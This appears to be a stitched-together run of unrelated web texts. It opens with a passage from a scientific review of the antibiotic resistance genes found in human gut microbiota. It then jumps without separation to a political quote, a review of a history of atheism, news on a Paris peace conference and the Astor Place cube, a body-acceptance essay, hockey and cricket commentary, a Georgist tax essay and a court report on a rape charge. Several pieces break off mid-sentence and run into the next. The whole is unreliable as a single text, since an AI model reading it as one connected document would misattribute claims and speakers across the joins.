In an approach termed metagenomic sequencing, DNA that is purified from faeces is sequenced using modern sequencing technologies. The resulting sequencing datasets can be analysed by assembly of the short reads into larger contiguous DNA fragments or by mapping the sequence reads to reference sequences. This method allows the determination of the phylogenetic composition of the microbiota and can be used to simultaneously detect and quantify antibiotic resistance genes in the microbiota [35].
In an alternative approach, termed functional metagenomics, faecal DNA is randomly cloned into an E. coli vector, either as less than 5 kbp fragments in a routine cloning vector or as fragments of approximately 40 kbp in a fosmid vector. The libraries of randomly cloned DNA are then plated on media that contain antibiotics, resulting in the isolation of antibiotic-resistant clones from the libraries. The vector inserts of resistant clones are then sequenced to identify the genes that confer resistance to the antibiotic of interest [4,36]. In the case of fosmid libraries, the antibiotic resistance gene that is harboured by a particular fosmid clone can be identified by in vitro transposon mutagenesis of the fosmid. Subsequent screening for transposon mutants that have lost the antibiotic-resistant phenotype and sequencing of the transposon insertion sites results in the experimental validation of a gene's function in antibiotic resistance [32,37]. Functional metagenomic analyses of the gut resistome are considerably more labour-intensive then the previously discussed methods but have the advantage that novel resistance genes (i.e. those that are currently not included in antibiotic resistance gene databases) are identified and that, in the case of large-insert fosmid libraries, information can be obtained about the genetic context of antibiotic resistance genes.
3. Metagenomics of the human gut resistome
Several studies have recently applied metagenomic sequencing and functional metagenomics to probe the resistome in the gut of healthy [38–41] and hospitalized individuals [32,42].
These studies have revealed that the human gut microbiota forms a large reservoir of antibiotic resistance genes, with Forslund et al. [38] finding resistance genes for 50 of 68 classes of antibiotics in 252 faecal metagenomes, at an average of 21 antibiotic resistance genes per sample. These samples were collected from individuals in Spain, Italy, Denmark, France, Malawi, the USA and Japan. Hu et al. [39] identified a total of 1093 antibiotic resistance genes in 162 individuals from China, Denmark and Spain, in a dataset that partially overlapped with that analysed by Forslund et al. [38]. Genes providing resistance to the antibiotic tetracycline (tet32, tet40, tetO, tetQ and tetW) are present in the microbiota of all individuals and are also the most abundant family of resistance genes [38,39]. The tetQ gene is the most abundant resistance gene in Chinese, Danish and Spanish individuals, which may be explained by the high prevalence of this resistance gene in Bacteroides isolates, which has increased from 30% in the early 1970s to more than 80% at the start of the twenty-first century [43]. Other resistance genes that were ubiquitously present putatively confer resistance to aminoglycosides (ant(6′)-Ia), bacitracin (bacA) and the glycopeptide vancomycin (vanRA and vanRG) [39]. However, it should be noted that the Antibiotic Resistance Genes Database (ARDB) [44], which was employed by the authors of both studies, contains many genes that have an unclear role in antibiotic resistance. Specifically, the bacA gene appears to be present in most bacterial genomes, where it has a role in peptidoglycan synthesis [45]. In addition, the vanRA and vanRG genes are involved in the transcriptional regulation of vancomycin resistance genes in enterococci [46]. These regulatory genes are therefore not directly involved in the remodelling of peptidoglycan cross-links, leading to vancomycin resistance, but may be broadly present, regulating genes that do not have a role in vancomycin resistance [47]. The large number of genes with housekeeping or regulatory functions in ARDB should lead researchers to use more recently developed tools and resistance gene databases to characterise the resistome in natural environments, such as CARD [48], RED-DB (http://www.fibim.unisi.it/REDDB), ResFinder [49], ARG-ANNOT [50] or Resfams [51].
Both previously discussed large-scale metagenomic sequencing studies of the gut resistome [38,39] analysed datasets of healthy individuals from different countries, which had very different practices in terms of antibiotic use in human and veterinary medicine. Interestingly, individuals from countries with relatively reticent policies of antibiotic use in humans and animals (specifically Denmark in these studies) have lower levels of antibiotic resistance genes in their gut microbiota than people from countries where antibiotic use is considerably higher, like Spain and China [38]. This finding suggests that policies concerning antibiotic use in human and veterinary medicine can have a major effect on the relative abundance of antibiotic resistance genes in the gut microbiota of the inhabitants of the different countries [38,39]. However, it should be noted that the difference in antibiotic resistance gene abundance in the microbiota of individuals from these countries is relatively small (approx. 1.5 to twofold) and it remains to be determined whether this difference in abundance contributes to the burden of antibiotic resistant infections in these countries. Interestingly, analysis of single nucleotide polymorphisms (SNPs) in the antibiotic resistance genes indicated that the resistance genes have a specific geographical signature, with the sequences of resistance genes from Chinese individuals forming a cluster that is distinct from resistance genes of Danish and Spanish individuals, which are intermingled in a phylogenetic analysis [39]. A similar specific clustering of Chinese individuals was observed when the abundance of resistance genes in different populations was analysed [52]. The regional differentiation in the sequence and abundance of resistance genes again may be linked by the differences in antibiotic use and exposure of the microbiota to antibiotics in China and European countries, but further analyses with additional data from individuals in other, particularly non-European, countries, will need to be performed to confirm these observations.
Recently, metagenomic sequencing has been used to study the gut resistome of patients throughout hospitalization [32,42]. As in the studies discussed above, many antibiotic resistance genes were found to be present in the microbiota of the studied patients. The relative abundance of antibiotic resistance genes generally appeared to increase in response to antibiotic therapy. For example, Buelow et al. [32] found that the relative abundance of genes that confer resistance to aminoglycosides expanded during hospital stay, particularly during hospitalization in an intensive care unit (ICU) (figure 2). The expansion of the resistome may have been linked to the use of tobramycin (an aminoglycoside antibiotic) that is used as part of a prophylactic antibiotic therapy, termed selective decontamination of the digestive tract, which is used in some European countries to lower the risk of infections with opportunistic pathogens during ICU hospitalization [53]. Similar effects on the resistome were observed in a metagenomic study in which four patients received different courses of antibiotics [42]. However, the use of antibiotics does not always lead to an expansion of the gut resistome in patients and resistance genes from |
Doughboy in North Korea gets his chubby butt handed to him, if Iran’s feet are held to the fire, if American energy sources are tapped and utilized to make us totally energy independent, if these and other goals of the Trump administration are reached, the days of the career politician are over.
“If that day ever comes, people will demand term limits, and empires will fall as Senators, Congressmen, lobbyists and bureaucrats find themselves on a level playing field with the people they lied to and took advantage of for so long,” the singer adds. “Come on home, y’all. Come on home and work for a living for a change.”Like new Labour, so-called New Atheism did not just replace the old variety but, for a while at least, almost totally occluded it. Atheism is now sometimes discussed as though it began with the publication of Richard Dawkins's The God Delusion in 2006.
To put these recent debates – or more often than not, flaming rows – in some sort of perspective, a thorough history of atheism is long overdue. The godless may not at first be pleased to discover that the person who has stepped up to the plate to write it comes from the ranks of the opposition. But Nick Spencer, research director of the Christian thinktank Theos, is the kind of intelligent, thoughtful, sympathetic critic that atheists need, if only to remind them that belief in God does not necessarily require a loss of all reason.
Spencer's story is designed to illuminate our present, so he understandably restricts himself to western Europe from the late middle ages onwards. It is a compendious though not definitive account, which shows why atheism is not simply the natural result of the rise of scientific knowledge, and religion a simplistic vestige of more ignorant times. Spencer rightly points out that, far from being enemies of religion, science and rationality were often most enthusiastically championed by men and women of faith. Locke and Newton were, for instance, both profoundly motivated by their Christianity.
In the long run, however, the church is being slowly undermined by the critical powers of inquiry it helped unleash. As Spencer himself argues, a "fateful shift" occurred in the 17th century when rationalists such as Descartes and the Cambridge Platonist Henry More sought to justify Christianity with reason. The idea was that atheism would be "defeated on the battleground of its own choosing", but once the fight moved there, religion found itself permanently on the defensive, on a long-term retreat despite the odd counterattack.
Much of the narrative is strictly historical, but there is also a polemical edge. Spencer wants his history to support three contentions, two of which should not be contentious at all. That we should talk about "atheisms rather than atheism" is self-evident. While the likes of Saint-Simon and Comte had a naive faith in the power of science and reason to create an orderly, happy utopia, later existentialist thinkers such as Nietzsche saw that "much must collapse because it was built on this faith" and looked forward only to a "long dense succession of demolition, destruction, downfall, upheaval".
Nor is there much to disagree with in the claim that atheism was from the start "a constructive and creative phenomenon", not just concerned to tear down the old order but to erect something more enlightened and rational in its place. Even the various atheistic libertines who thought all morality was an illusion believed that a world without constraint would be superior to the religious status quo.
What is more debatable is the contention that "the history of atheism is best seen as a series of disagreements about authority" rather than one primarily about the existence of God. "To deny God was not simply to deny God," writes Spencer. "It was to deny the emperor or the king who ruled you, the social structures that ordered your life, the ethical ties that regulated it, the hopes it inspired and the judgment that reassured it."
This is certainly true. But it does not follow that the tussle between religion and atheism is political rather than philosophical. Take his discussion of the early reformation in the 16th century. "Hundreds of Christians wrote thousands of pages demolishing the theological presuppositions of their opponents," he rightly says, before adding, "the fact that those theological differences might be a cipher for political or social threats is a nuance easily lost amid the aroma of cooking flesh."
Of course, there were political and social factors involved in the various disputes and schisms. But to conclude that therefore their theological contents were irrelevant "ciphers" is a jump too far. It is a false choice to say that the battles must "really" be either political or metaphysical: the messy reality is that they are jumble of both.
Similarly, Spencer wants to encourage us to see religious teachings as more moral than factual or historical. This view goes back to at least the 16th century when Cardinal Cesare Baronio asserted: "The Bible tells us how to go to heaven rather than how the heavens go." It is a neat aphorism, but of course it makes no sense to be told how to get to heaven unless there is a heaven to get to. Beliefs about what is real and what is not are impossible to expunge from all but the most postmodern of theologies.
Spencer is here promoting the conception of "religiosity as pattern of life rather than a set of verifiable propositions". On this view, what matters is not whether difficult doctrines such as eternal damnation or even Christ's resurrection are true or false, but that a life guided by such ideas is somehow richer, more complete, more directed towards a higher good. If that is right, then atheists who have criticised religion for its doctrines have spectacularly missed the point, "tilting at theological windmills". But as Spencer himself argues, we didn't see "theological liberalism redrawing the lines" until the last decades of the 19th century, and, even then, only a minority accepted the new map.
However, following John Gray, he is right to say that there is something odd about the kind of secular humanism that says all we need to do, to quote the famous bus campaign slogan, is accept "There's probably no God. Now stop worrying and enjoy your life." Believing that human beings are special is natural if you believe God created us apart from other animals, not if you believe we are higher primates whose brains evolved to help us survive and reproduce. This should certainly call into question naive atheist faith in the power of secular reason, even if Spencer goes too far when he suggests it ends up undermining its very basis, "sawing through the branch on which the atheist sat".
Atheists have more grounds to protest that Spencer puts too much weight on some specific periods and episodes that cast them in a bad light. The state-sponsored atheism of the communist world, for example, is discussed at length, even though few western atheists saw the collapse of the Berlin Wall as any kind of defeat for their far more liberal worldview.
He also says "the abrupt death of logical positivism" – the early 20th-century philosophical movement that declared all religious and metaphysical talk as literally meaningless – "marked the end of one of the most significant atheist philosophical traditions". On the contrary, it was a shortlived blip that made the mistake of grossly simplifying the less dogmatic empiricism it had grown out of. The same could be said for the recent "New Atheism spasm".
Although there is plenty here for infidels to argue with, there is much more that is undeniably true and important to know, if you want to understand the complex histories of both present-day religion and atheism. Whether atheism is true, however, depends not on how it got to where it is now, but on how well supported by argument and evidence it now is. History can enrich our understanding of the debate, but it cannot settle it.
• Julian Baggini's most recent book The Virtues of the Table is published by Granta.The United States appears reluctant to support a French plan to relaunch the Israeli-Palestinian peace process with a major conference this month.
The State Department was unable to say on Wednesday whether Secretary of State John Kerry will attend a planned May 30 meeting in Paris.
And outside experts say Washington is unlikely to want to allow France to take the lead on an issue that it traditionally sees as its own.
"We remain concerned about the continued violence on the ground and we welcome all ideas on moving this forward," US spokeswoman Elizabeth Trudeau said. "On this specific conference, on the May 30 event, no decision's been made on participation.
"We still remain in consultation with the French and other international partners on it," she said.
Kerry was in Paris on Monday to see his counterpart Foreign Minister Jean-Marc Ayrault, and his deputy Antony Blinken was there again on Wednesday.
France's prime minister, Manuel Valls, will visit Israel and the Palestinian territories this month to try to drum up interest in the French initiative.
But Israel opposes the plan to bring ministers from 20 countries to Paris, insisting peace will come only through direct talks with the Palestinians. And there is clearly little enthusiasm in Washington.
"They're reluctant on at least two fronts," said Ghaith al-Omari, a fellow of the Washington Institute of Near East Policy and a former adviser to Palestinian peace negotiators.
"One front is that there's always been American reluctance to engage in anything about the peace process that is not American led," he told AFP. "The other component is that the administration has not decided yet whether or not they will be doing something American in the next few months."
Reports in Washington have suggested that President Barack Obama, due to leave office in January, may be planning a major speech to outline terms for peace. And Washington may decide to take a blueprint for the "two-state solution" to the conflict to the UN Security Council to be enshrined in international law.
But Obama has yet to decide whether to insert himself into an issue that has frustrated so many of his predecessors -- or whether to let the French try.
"Until there's a decision it's unlikely that the US will engage in any external initiatives," Omari said. "If the president is going to give a speech I can't see Kerry going to the French initiative. If not then there might be more space for American engagement."
(AFP)Last month, the city’s Department of Design and Construction told us the Astor Place cube was set to return in June. Today was supposed to be the big day, according to a construction update noticed by EV Grieve. But alas, the newly redesigned Alamo Plaza is still as cube-less as a sad cup of iced coffee left out in the sun too long. The city now says it won’t happen till August.
A DDC rep told us today that the cube was “awaiting final inspection by the NYC Department of Parks and Recreation. Once completed, it will be delivered and re-installed.” A spokesperson for the Parks Department, which has traditionally been involved in the upkeep of Tony Rosenthal’s beloved sculpture, added, “The City is looking forward to an installation of the Cube in August. The Cube must first be inspected by a conservator.”
While we wait for that to happen, there is some exciting news on Astor. The first of the long-gone lampposts bearing the handiwork of neighborhood legend Jim “Mosaic Man” Power has been reinstalled. Back in 2014, after Power got word that the city planned to temporarily uproot the iconic lampposts that he had meticulously beautified over the years, he went about destroying his own art as a protest against the redesign of Cooper Square and Astor Place. The Mosaic Man eventually got on board with the project and began restoring the seven poles, according to DNAinfo.
Yesterday, the Village Alliance, which helps maintain the plaza, tweeted a photo of the first pole’s triumphant return.
The first of the #mosaicman mosaic lamp poles being returned to #AstorPlace after restoration. More to come!! pic.twitter.com/A2ohb6XD7J — Astor Place NYC (@AstorPlaceNYC) June 21, 2016
But don’t go rushing out for a mosaic selfie just yet. As of today, the pole was under wraps.453 Shares Share
Originally published on Body Love Wellness and cross-posted here with their permission.
As you may have heard by now, former body acceptance advocate Jess Weiner was interviewed by Glamour about how loving her body almost killed her.
In the article, she shares how, for her, body acceptance had meant not checking in on her health.
Many other bloggers (as well as myself) have already picked apart the inconsistencies and problematic aspects of this piece. But truthfully, the part of the story that I find most horrendous is that Weiner completely mischaracterizes body acceptance in order to tear it down.
So I think it’s time to get some clarity on what body acceptance really is, what it means, and why it can be so healing for all of us.
Of course, I can’t speak for everyone’s experience of body acceptance, but this is the way that I understand it if we break it down into the simplest terms.
What It is
Body acceptance means, as much as possible, approving of and loving your body, despite its “imperfections,” real or perceived.
That means accepting that your body is fatter than some others, or thinner than some others, that your eyes are a little crooked, that you have a disability that makes walking difficult, that you have health concerns that you have to deal with — but that all of that doesn’t mean that you need to be ashamed of your body or try to change it.
Body acceptance allows for the fact that there is a diversity of bodies in the world, and that there’s no wrong way to have one.
What It’s Not
Body acceptance is not about intentionally disregarding your health.
Accepting and loving your body includes paying attention to its signals and symptoms.
Who It’s For
Body acceptance is for anyone who has a body.
Weight and body oppression is oppressive to everyone. I’ve worked with women who were a size 6 who hated their bodies more than other clients who were a size 24.
When you live in a society that says that one kind of body is bad and another is good, those with “good” bodies constantly fear that their bodies will go “bad,” and those with “bad” bodies are expected feel shame and do everything they can to have “good” bodies.
In the process, we torture our bodies, and do everything from engage in disordered eating to invasive surgery to make ourselves okay.
We blame our friends and family for not having the right kind of body. Nobody wins in this kind of struggle. Why Body Acceptance Is Healthy Body acceptance as part of the Health At Every Size protocol, has been shown to have better long-term health effects than dieting. Furthermore, body hatred creates an incredible amount of stress in your mind and body. When you’re fixated on what you don’t like about your body and desperately trying to change it, you’ll often engage in dangerous behaviors (restricting food, over-exercising, surgeries) that don’t lead to better health. When you start loving your body and respecting its cues and signals, you can eat in a way that nourishes you, move in ways that are good for your body, and seek out health care from professionals who actually respect you and care for you as a whole person. Some wonderful things can happen when you live your life from a place of body acceptance, love, and respect. When you see your body with love and approval, amazing changes happen. For example, you might: Decide to stop dieting and eat in a way that is healing and nourishing
Begin to heal from an eating disorder
Stop over-exercising when you realize that you might be damaging your precious body
Start exercising when you find that moving your body in loving ways feels good
Get better medical care because you know that you are entitled to more than “it’ll go away if you lose weight”
Get out of a relationship that doesn’t serve you
Get into a relationship where you are truly loved and cared for
Find the confidence to set boundaries with people in your life
Stop comparing yourself to everyone and see the beauty in yourself
Find that intuitive eating is easier than you thought
Feel free from the pain of self-hatred and feel great being the person you are Why It’s Important People with bodies that are viewed as non-normative – and this includes fat people, despite the fact that there are so many of us – face a lot of stigma, discrimination, and exclusion on a day-to-day basis. Via body acceptance, fat people can say, “I realize you have a problem with my body, but I refuse to internalize that.” By refusing to accept the shame that we’re supposed to feel about our bodies, we create change in our lives and in the lives of those around us. We transform struggle and shame to peace and pride. Body acceptance becomes an invitation to others – fat, thin, or in between – to love their bodies as well. Want to discuss this further? Login to our online forum and start a post! If you’re not already registered as a forum user, please register first here. Golda Poretsky is a Contributing Writer for Everyday Feminism. She’s a certified holistic health counselor and founder of Body Love Wellness, a program designed for plus-sized women who are fed up with dieting and want support to stop obsessing about food and weight. Follow her on Twitter at @bodylovewellnes. Read her articles here and book her for speaking engagements here. Found this article helpful?
Help us keep publishing more like it by Help us keep publishing more like it by becoming a member!Pizzuti Office Building Moving Forward, Grandview Mercantile to Relocate
Renderings by Lupton Rausch.
Representatives from The Pizzuti Companies announced today that their new mixed-use development — planned at the intersection of First Avenue and High Street — has officially begun pre-leasing activity after receiving necessary approvals from the Victorian Village Commission.
Once built, the project will feature two buildings: a four-story structure on High Street containing 45,000 square feet of office space and 12,000 square feet of retail, and a six-story structure on 40 W. First Ave. with approximately 110-120 residential units. Both buildings will include structured parking.
“The mix of first-class office space, luxury apartments and a combination of top national and local retailers will make the new development at First Avenue and High Street a premier place to live and work in Columbus,” said Joel Pizzuti, president of The Pizzuti Companies. “Its location, in the heart of the Short North Arts District, is second-to-none and will further enhance the neighborhood’s reputation as a leading destination in the Midwest.”
The new development will replace the existing single-story building that currently houses popular home decor retailer Grandview Mercantile, which is scheduled to relocate to a new space this fall. Construction on the site is currently slated to begin sometime in late 2017.
For more information, visit www.pizzuti.com.
Renderings by Lupton Rausch.
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About the Author Walker is the co-founder of ColumbusUnderground.com and TheMetropreneur.com along with his wife and business partner Anne Evans. Walker has turned local media into a full time career over the past decade and serves on multiple boards and committees throughout the community.
Tags:SAN FRANCISCO -- The mom who admitted on national television to injecting her eight-year-old daughter with Botox has lost custody of the child, according to a report on "Good Morning America," as some doubt began to emerge Monday about her story.
Kerry Campbell appeared on the morning show last week, explaining how she administers Botox to help her daughter, Britney, compete in beauty pageants.
On Friday, the San Francisco Human Services Agency began investigating Campbell after an outcry over the interview.
"It's pretty unusual for a mom to be injecting an eight-year-old with Botox and certainly is grounds for an investigation," Trent Rohrer, from the San Francisco Human Services Agency said.
On Monday, GMA reported the child was no longer living at home with her mother.
"I've spoken with someone very close to the case, she is out of her mother's home. She's doing well," GMA correspondent Lara Spencer said on the ABC show.
"The case is under investigation by CPS [Child Protective Services] and we should have new details within a week. But the main thing here -- she's doing well," Spencer added.
There remains an element of mystery to the case, however, with the San Francisco Chronicle reporting Monday that Campbell does not live in San Francisco and is not who she claims to be.
San Francisco Human Services Director Trent Rhorer would not comment on the matter, citing confidentiality laws in juvenile cases, but did say that "we have completed our investigation, and we are no longer involved in the case."
County welfare agencies in California only have jurisdiction over families that reside in their counties.
The Chronicle said, "As for the woman's true identity and where she actually lives, that remains unclear -- but apparently, she isn't a Bay Area resident. How much of the rest of her story was on the level -- the Botox, the child beauty contests -- also is not known."The Stanley Cup Final has been a lopsided affair so far, with the San Jose Sharks being dominated by the Pittsburgh Penguins to a truly unexpected degree.
The shot attempt differential favouring the Penguins isn’t surprising, they were the stronger score-adjusted Corsi team, and the second strongest team in the league heading into the playoffs, behind only the Los Angeles Kings.
The Kings out-possessed the Sharks as well, but the Sharks obliterated them in high-quality scoring chances, making short work of a team that was favoured by many to win it all. However that hasn’t happened against the Penguins.
The Sharks haven’t been able to penetrate the inner slot close to Matt Murray at anywhere near the frequency they were able to terrorize Brian Elliott, Pekka Rinne, and Jonathan Quick.
The most noticeable drop in effectiveness has come from team captain Joe Pavelski, and you can see it clear as day when you compare his playoff performance before the Cup Final to during it.
Pavelski’s shots and shot attempts are down in general, but the biggest drops have been in his scoring chances and deflections. Pavelski’s numbers are still better than the average player, but he’s no longer getting scoring chances like an elite goal scorer does.
There has been some speculation that Pavelski is dealing with an injury, and at this stage of the playoffs he’s likely to be dealing with several with how often he takes abuse in front of the net, but some credit has to be given to the Penguins’ defensive scheme.
Pavelski isn’t a player that does it all himself, skating the puck in and ripping a wrist shot top corner like Sidney Crosby, Evgeni Malkin, or Phil Kessel do, he is a hyper-elite finisher and net-front presence, meaning someone needs to get him the puck.
Heading into this series, the Sharks had been dominating teams with their puck movement, freeing up Pavelski or Logan Couture to take prime area one-timers or deflect shots and passes in. Pittsburgh has been intensely focused on taking away that puck movement through and into the slot.
In fact, the Penguins have been so excellent positionally, that the Sharks have almost stopped attempting passes to the slot, with their forwards trying just 4.5 slot pass attempts per 20 minutes, compared to the Penguins’ 7.2 attempts.
The player they’ve been most focused on, obviously, is Joe Thornton. Thornton’s 1.5 successful passes to the slot per 20 minutes played at even strength was among the league’s elite marks coming into the series, but against the Penguins he’s only been able to manage 0.3 successful passes to the slot per 20, an 80 per cent drop in production.
Missing Tomas Hertl on their line to create havoc on the cycle is obviously a factor, but the fact is the Penguins have defended Pavelski and Thornton to perfection, even though that line maintains solid possession numbers.
If the Sharks have any hope of making this a series, they have to find a way to make the Joes effective again.By WizardCrab
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See you on the Fields of Justice!OPINION: Mitchell Johnson has exerted a psychological hold over England's batsmen ever since he sorted out his own mental approach to cricket.
He has learnt to deal with the pressures of the international game much better than when he struggled in England in 2009. He is twice the bowler now than he was then because his game has control and aggression.
It is why he has a hold over a lot of batsmen all over the world, not just Englishmen. When I speak to players from other countries they all say how ridiculously well he is bowling at the moment.
DAVID GRAY/ REUTERS Sri Lankan umpire Kumar Dharmasena looks on as Mitchell Johnson and Kevin Pietersen exchange words during the 2013 Ashes test at the Melbourne Cricket Ground.
It is hard for teams to break that hold, especially when he is in form. But you have to embrace the challenge and ignore the defeatist thoughts. When you retire from cricket you want to be able to say you scored runs against the best teams in the toughest situations.
So who cares if he is bowling well. England have to relish the challenge. I always wanted to test myself against the best: Glenn McGrath, Shane Warne and Muttiah Muralitharan. Scoring runs against them is what I am proud of. Ultimately, you want to score runs against Australia when they have a bowling attack as good as the one they will put out this week.
It is the time when you can put your head on the pillow as an international batsman and say, 'Yes, I am good enough to be here, and I am up for this fight'. That is the attitude the batters have to take into this test, not, 'Oh no, Johnson is on top of his game'. So what. You want to play against guys at the top of their game. Our guys certainly have the talent to stand up to him, and I hope they take the attack to him.
Facing Johnson is not just about intimidation. It is a really high-grade, emotional experience. It is as intense as it gets in our sport. You know that one bad move could get you hurt or get you out. It is like a little inner psychological battle with yourself. Not only are you having to apply your skill levels to the moment, but you also have to be aware of the game situation.
Against the top bowlers the best players take the pressure off by just watching the ball out of the hand. But with Johnson's action and the way he runs up to wicket, it is hard to track the ball, because his hands are everywhere.
It can be intimidating when he bowls short at a right-hander, because the trajectory of the delivery is into your left shoulder and left ear. With fielders at leg gully and short leg it is like being in a mini arena. You can hook Johnson, but I just tried to leave as many balls as possible. You know he is only going to bowl in three or four-over spells. So if he bowls a short ball, get out of the way.
I also used to believe that the best place to face a fast bowler like him was from the non-striker's end, so try to get off strike. If he bowled anything short and wide or over-pitched I would be looking to hit it.
No bowler likes being hit for four, including the best. He is not as threatening when he is not swinging the ball. That is the key thing England need to remember. As a right-handed batsman, if he is not swinging the ball then you can leave him or get out of the way of a lot of his deliveries, because they are not hitting the wickets.
But even when the ball is not swinging, he is very dangerous to left-handers. He is always attacking their stumps. It is why he and Mitchell Starc complement each other so well. Starc hits the stumps of the right-handers. Johnson bowls fast and aggressively in short bursts, whereas Starc can bowl for longer periods and swings the ball back into the right-handers. Josh Hazlewood is a quality, accurate bowler. It is a very strong attack.
Before the series started, I had concerns Gary Ballance was going to struggle against these guys. He had a good year last summer but I felt problems could arise when he faced speeds of more than 85-miles per hour (137kmh). I batted with him in the fifth Ashes test in Sydney and I noticed slight issues with his technique against Johnson. Eighteen months later, unfortunately these have not improved quite enough, so he rightly had to be taken out of the firing line. Ultimately though, this experience can improve him. He will work on those issues and come back an ever better player.
Ian Bell is a wonderful batsman and is now in his rightful position at three. He is struggling at the moment. But every batsman has those periods. The problem in England is that, once you have played more than 100 tests, patience wears thin. Very few England players go on into their late 30s. We always seem to want to move older players on and give others an opportunity.
Now Bell finds himself in that position and if he fails to score runs people will say his career is finished. It is wrong and unfair. He needs support right now and positive people around him.
Bell played at Edgbaston 10 years ago and there are similarities with that great Ashes test. We went into that game on the back of a hiding at Lord's, too. But we arrived at Edgbaston still thinking we could beat Australia. We collectively made the decision to attack Australia, go real hard at them and to whack their bowlers. We had the team and the batting order that was able to go out there and deliver what we talked about in the team meetings. It is going to be harder for England to do that this week with a few struggling for form, but the intentions have to be the same.
The addition of Jonny Bairstow will bring a natural lift, because he is in such good form. But the gap between county and test cricket is huge; it is a mountain. I hope he does well, because I like Jonny. I had great times with him in the England dressing room. He is a lovely lad and hopefully he can fight fire with fire this week and that spreads to the rest of the team.
- The Daily TelegraphBy JOSEPH KOPSICK | February 14th, 2017
Lake County's Heavy Burden
State and local governments should re-evaluate the way they think about property taxes. Out of about three thousand American counties, only sixteen pay higher property tax rates than Lake County, Illinois. Lake County households pay a median of over $6,500 in property taxes annually, which is more than five times the average American’s property tax bill.
Only the New York metropolitan area pays more than Lake County in property taxes. Northeastern Illinois is “Taxed Enough Already”. Additionally, Illinois has the second highest property tax rates in the country. The five counties that make up Chicago’s north and west suburbs are the five highest-taxed counties in the Midwest.
If sales taxes on cigarettes are meant to deter smoking, then are taxes on income meant to discourage working? Former Reagan economic adviser Art Laffer theorized that when tax rates are too high, the tax removes the incentive to work, effectively penalizing productivity. Likewise, property taxes resemble penalties that we receive for making improvements on our land.
We make improvements to our land, but when we do, local governments increase our property taxes. Keeping what we produce on our property is the natural incentive that we have to own homes and make improvements. However, property taxes remove these incentives by confiscating part of what we produce.
Libertarians want to eliminate taxes, but until that can happen, taxes should at least be guided by rational principles and make a distinction between helpful and harmful behaviors. This may sound like the “no victim, no crime” principle applied to tax policy, but the philosopher Henry George arrived at the same conclusion.
Georgism Defined
American economist Henry George wrote the pamphlet Progress and Poverty, one of the best-selling American publications of the 19th century. George’s philosophy is called Georgism or Land Value Taxation (LVT). Georgist economist Herman E. Daly summarizes this approach as "tax bads, not goods". Advocates of LVT believe that land and raw materials are the source of all wealth. Georgists would disregard everything but the land for tax purposes, including buildings and other improvements. In other words, tax the land, not the buildings. Under a Georgist tax code, those who own the smallest amounts of land and damage their property the least would pay the lowest taxes.
Although Georgists would like most land to be held in common, they're not against markets or private property. In fact, their stances on the products of labor and how land value should be determined are quite laissez-faire. They would leave productivity alone to flourish while discouraging waste by taxing it. This effectively encourages production without giving taxpayer money to businesses in the form of subsidies.
Georgists would impose Pigovian taxes, named after 20th century British economist Arthur Pigou. Pigovian taxes penalize negative externalities, which are economic activities that harm or impose undue burdens upon other people. Property owners would have to pay higher taxes if they pollute groundwater, store hazardous materials or waste on their property, or allow their land to become blighted.
Georgism in America
George's ideas aren't just idealistic political theory, a form of Georgism called split-rate taxation has been tried in America. Split-rate taxation allows communities to experiment with taxing land value at higher rates than buildings. In Pennsylvania, which allows communities to implement split-rate taxation policies, there are towns that have been guided by Georgist principles for more than a hundred years.
From the mid-1970s to the late 1990s, numerous Pennsylvania municipalities experienced increases in building permits, private construction and renovation, and factory employment after switching to either split-rate taxation or taxing land value only. They also saw apartment rent and average household taxes decrease.
In the mid-1990s, seven Pennsylvania municipalities derived more than half of their government revenues from land taxes. Five of those seven communities taxed businesses at less than one-tenth of the tax rate on land. This suggests that land taxes could easily replace taxes on productivity and render them obsolete.
Communities in Maryland, Delaware, New York, and Alabama have also experimented with split-rate taxation. Split-rate taxation advocates hope that this sort of policy will discourage speculation (especially on vacant lands), make urban infrastructure more efficient, make new urban sprawl unnecessary, and ensure that development has a lighter impact on ecosystems.
Geolibertarianism
Henry George's ideas have gained some attention in the Libertarian Party (LP). His influence on the LP is not new, party co-founder and “Nolan chart” designer David Nolan was a proponent of the LVT. Additionally, Milton Friedman praised LVT in 1978, saying “In my opinion, the least bad tax is the property tax on the unimproved value of land, the Henry George argument of many, many years ago”.
Geolibertarianism is a political and economic ideology that integrates libertarianism with Georgism. Geolibertarians advocate for full civil liberties, the repeal of laws against victimless crimes, and tax reform that improves both property values and the environment. Geolibertarians believe in the natural right to keep the fruits of one's labor as exclusive private possessions, without paying taxes on wages, labor, or the products of labor. They observe that land, space, and raw natural resources are finite goods that should be open to common access and considered unowned.
Libertarians and Georgists debate what, if anything, makes taxation voluntary, and other topics such as corporate taxes and citizens' dividends. Despite these differences, they share the desires to build a simpler and more rational tax code, leave individuals free to produce, and keep government as close to the people as possible.
The Libertarian Party should do whatever it can to suggest new ways to decrease the impact of taxes on productivity in Chicagoland. We should consider any and all approaches that shrink government while letting people keep more of their own money.
Northeast Illinois's high property taxes present a great opportunity for local Libertarians to propose sensible tax reform to solve the problems of high taxes that are stifling economic growth. The split-rate tax is a promising alternative to the burdensome tax schemes enforced across the majority of the country.
To read more, see the Aquarian AgrarianRobert Walters, 43, is charged with criminal sexual assault using force. View Full Caption DNAinfo; Cook County Sheriff's Office
COOK COUNTY CRIMINAL COURTHOUSE — A Lakeview man was charged Thursday with raping a woman he met through the online dating site OkCupid.
It's the second time this year Robert Walters, 43, was charged with rape. In August, prosecutors alleged he kidnapped and raped a drunken woman who was looking for a cab near Castle nightclub in April 2013.
RELATED: Woman Trying To Hail Cab In River North Taken By Stranger And Raped
On Thursday, Assistant State's Attorney Kristin Estrada laid out the newest case against Walters during a bond hearing at the Leighton Criminal Courthouse, 2600 S. California Ave.
Using the dating site OkCupid, Walters began talking to a 26-year-old woman in December of 2014, prosecutors said. The pair exchanged messages and phone numbers, and eventually agreed to meet at a Wrigleyville bar about 8:30 p.m. Dec. 23, 2014.
According to Estrada, the woman was uncomfortable with Walters' behavior throughout the course of the date.
He urged the woman to drink, prosecutors said, and began making sexual comments and demanding kisses. The woman was so uncomfortable that she began texting friends.
The woman wanted to end the date, Estrada said, |
results.” [37] The idea of totality which we have come to recognise as the presupposition necessary to comprehend reality is the product of history in a double sense.
